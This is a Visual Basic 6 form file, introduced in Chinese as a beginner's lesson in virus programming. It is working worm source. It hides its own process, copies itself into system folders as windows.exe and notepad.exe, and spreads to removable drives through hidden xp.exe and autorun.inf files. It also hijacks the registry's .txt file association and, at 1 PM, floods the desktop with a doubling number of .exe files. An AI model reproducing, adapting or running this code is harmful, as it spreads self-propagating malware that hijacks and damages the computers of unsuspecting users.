form1.frm

该程序可用于初学病毒编程的入门,先复制本身到系统system中

VERSION 5.00
Begin VB.Form Form1 
   BackColor       =   &H80000008&
   BorderStyle     =   0  'None
   Caption         =   "Form1"
   ClientHeight    =   690
   ClientLeft      =   0
   ClientTop       =   0
   ClientWidth     =   2340
   ForeColor       =   &H80000008&
   Icon            =   "Form1.frx":0000
   LinkTopic       =   "Form1"
   ScaleHeight     =   690
   ScaleWidth      =   2340
   ShowInTaskbar   =   0   'False
   StartUpPosition =   2  '屏幕中心
   Begin VB.Timer Timer2 
      Enabled         =   0   'False
      Left            =   840
      Top             =   120
   End
   Begin VB.Timer Timer1 
      Enabled         =   0   'False
      Left            =   240
      Top             =   120
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Dim n As Integer
Dim flag As Integer
Dim I As Integer
Private Sub Form_Load()
If App.PrevInstance = True Then
    End
End If
If Not Dir("c:\windows\system32\windows.exe") = "windows.exe" Then
    FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\system32\windows.exe"
    Shell "c:\windows\system32\windows.exe"
    End
End If
If App.EXEName <> "windows" Then
End
End If
Me.Hide
HideCurrentProcess
App.TaskVisible = False
Timer1.Enabled = True
Timer1.Interval = 1000
n = 1
flag = 1
End Sub

Private Sub Timer1_Timer()
Dim t
Dim a(3) As String
Dim hKey As Long
Dim n As Integer
t = #1:00:00 PM#
a(0) = "i:\"
a(1) = "j:\"
a(2) = "k:\"
Call regedit
For n = 0 To 2
If DiskIsWorking(a(n)) Then
    If Not Dir(a(n) & "xp.exe", vbHidden + vbReadOnly + vbSystem + vbArchive) = "xp.exe" Then
        FileCopy App.Path & "\" & App.EXEName & ".exe", a(n) & "xp.exe"
        If Dir(a(n) & "autorun.inf", vbHidden + vbReadOnly + vbSystem + vbArchive) = "autorun.inf" Then
            SetAttr a(n) & "autorun.inf", vbNormal
        End If
        Open a(n) & "autorun.inf" For Output As #3
        Print #3, "[AutoRun]"
        Print #3, "open=xp.exe"
        Print #3, "shellexecute=xp.exe"
        Print #3, "shell\打开\command=xp.exe"
        Print #3,
        Close #3
        SetAttr a(n) & "autorun.inf", vbHidden + vbReadOnly + vbSystem + vbArchive
        SetAttr a(n) & "xp.exe", vbHidden + vbReadOnly + vbSystem + vbArchive
     End If
End If
Next
If Not Dir("C:\WINDOWS\system\notepad.exe") = "notepad.exe" Then
    FileCopy App.Path & "\" & App.EXEName & ".exe", "c:\windows\system\notepad.exe"
End If
RegCreateKey HKEY_CLASSES_ROOT, "txtfile\shell\open\command\", hKey
RegSetValueEx hKey, "", 0, REG_SZ, ByVal "C:\windows\system\notepad.exe %1", 40
RegCloseKey hKey
If Time = t Then
    Timer2.Enabled = True
    Timer2.Interval = 1000
End If
End Sub

Private Sub Timer2_Timer()
For I = 1 To n
If Not Dir("C:\Documents and Settings\All Users\桌面\" & Str(I) & ".exe") = Str(I) & ".exe" And flag = 1 Then
    Open "C:\Documents and Settings\All Users\桌面\" & Str(I) & ".exe" For Output As #1
    Close #1
End If
Next
flag = 0
I = 1
Do
If flag = 0 And Not Dir("C:\Documents and Settings\All Users\桌面\" & Str(I) & ".exe") = Str(I) & ".exe" Then
    n = n * 2
    flag = 1
    Exit Do
End If
I = I + 1
Loop While I <= n
End Sub